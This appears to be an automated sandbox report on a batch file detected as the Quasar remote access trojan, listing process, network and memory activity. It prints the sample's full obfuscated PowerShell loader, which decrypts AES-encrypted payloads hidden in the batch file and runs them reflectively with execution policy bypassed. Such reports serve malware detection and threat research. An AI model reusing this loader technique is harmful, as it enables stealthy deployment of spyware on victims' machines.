Malware Analysis Report

2024-10-19 08:41

Sample ID 240419-wgdf6sca5z
Target Client-built.bat
SHA256 f07acfcbf476dab38e3790a6208dc4216bab8c8ae19c3ec6529f70f84f3e9165
Tags
quasar office04 spyware trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

f07acfcbf476dab38e3790a6208dc4216bab8c8ae19c3ec6529f70f84f3e9165

Threat Level: Known bad

The file Client-built.bat was found to be: Known bad.

Malicious Activity Summary

quasar office04 spyware trojan

Quasar RAT

Quasar payload

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of FindShellTrayWindow

Suspicious use of SendNotifyMessage

Suspicious use of WriteProcessMemory

MITRE ATT&CK

N/A

Analysis: static1

Detonation Overview

Reported

2024-04-19 17:53

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-04-19 17:53

Reported

2024-04-19 17:54

Platform

win10v2004-20240412-en

Max time kernel

31s

Max time network

33s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client-built.bat"

Signatures

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4276 wrote to memory of 4216 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4276 wrote to memory of 4216 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client-built.bat"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AtLcF+t0FB33iSbfddxOST5FkZphJvCTctMBbZu4hMo='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dm+IGy6zqhkYn8cc+qI1TQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $wAvkI=New-Object System.IO.MemoryStream(,$param_var); $ugKUQ=New-Object System.IO.MemoryStream; $HysxI=New-Object System.IO.Compression.GZipStream($wAvkI, [IO.Compression.CompressionMode]::Decompress); $HysxI.CopyTo($ugKUQ); $HysxI.Dispose(); $wAvkI.Dispose(); $ugKUQ.Dispose(); $ugKUQ.ToArray();}function execute_function($param_var,$param2_var){ $NSicI=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Bqpci=$NSicI.EntryPoint; $Bqpci.Invoke($null, $param2_var);}$cuelP = 'C:\Users\Admin\AppData\Local\Temp\Client-built.bat';$host.UI.RawUI.WindowTitle = $cuelP;$AUWCp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($cuelP).Split([Environment]::NewLine);foreach ($biZnu in $AUWCp) { if ($biZnu.StartsWith(':: ')) { $twfqf=$biZnu.Substring(3); break; }}$payloads_var=[string[]]$twfqf.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

Network

Country Destination Domain Proto
US 8.8.8.8:53 17.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 249.197.17.2.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
N/A 127.0.0.1:4782 tcp
US 8.8.8.8:53 206.221.208.4.in-addr.arpa udp
US 8.8.8.8:53 132.46.30.184.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
N/A 127.0.0.1:4782 tcp
N/A 127.0.0.1:4782 tcp
N/A 127.0.0.1:4782 tcp
N/A 127.0.0.1:4782 tcp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
N/A 127.0.0.1:4782 tcp
US 8.8.8.8:53 udp

Files

memory/4216-0-0x000002E32C260000-0x000002E32C282000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mdic0j0r.wbb.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4216-10-0x00007FFE80AD0000-0x00007FFE81591000-memory.dmp

memory/4216-12-0x000002E32C300000-0x000002E32C310000-memory.dmp

memory/4216-11-0x000002E32C300000-0x000002E32C310000-memory.dmp

memory/4216-13-0x000002E314140000-0x000002E314148000-memory.dmp

memory/4216-14-0x000002E32E580000-0x000002E32E6D8000-memory.dmp

memory/4216-15-0x000002E32E6F0000-0x000002E32EA14000-memory.dmp

memory/4216-16-0x000002E32C300000-0x000002E32C310000-memory.dmp

memory/4216-17-0x000002E32F020000-0x000002E32F070000-memory.dmp

memory/4216-18-0x000002E32F130000-0x000002E32F1E2000-memory.dmp

memory/4216-19-0x000002E32F900000-0x000002E32FAC2000-memory.dmp

memory/4216-20-0x00007FFE80AD0000-0x00007FFE81591000-memory.dmp

memory/4216-21-0x000002E32C300000-0x000002E32C310000-memory.dmp

memory/4216-22-0x000002E32C300000-0x000002E32C310000-memory.dmp

memory/4216-23-0x000002E32C300000-0x000002E32C310000-memory.dmp